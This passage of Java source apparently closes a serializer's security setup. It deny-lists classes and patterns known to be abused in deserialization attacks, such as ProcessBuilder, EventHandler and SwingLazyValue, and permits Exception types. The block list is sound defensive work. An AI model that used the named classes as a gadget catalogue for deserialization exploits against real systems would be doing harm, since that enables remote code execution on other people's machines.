      this.denyTypes(new String[]{"java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator", "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue"});
      this.denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, GETTER_SETTER_REFLECTION, PRIVILEGED_GETTER, JAVAX_CRYPTO, JAXWS_ITERATORS, JAVAFX_OBSERVABLE_LIST__, BCEL_CL});
      this.denyTypeHierarchy(InputStream.class);
      this.denyTypeHierarchyDynamically("java.nio.channels.Channel");
      this.denyTypeHierarchyDynamically("javax.activation.DataSource");
      this.denyTypeHierarchyDynamically("javax.sql.rowset.BaseRowSet");
      this.allowTypeHierarchy(Exception.class);
      this.securityInitialized = false;
  }
}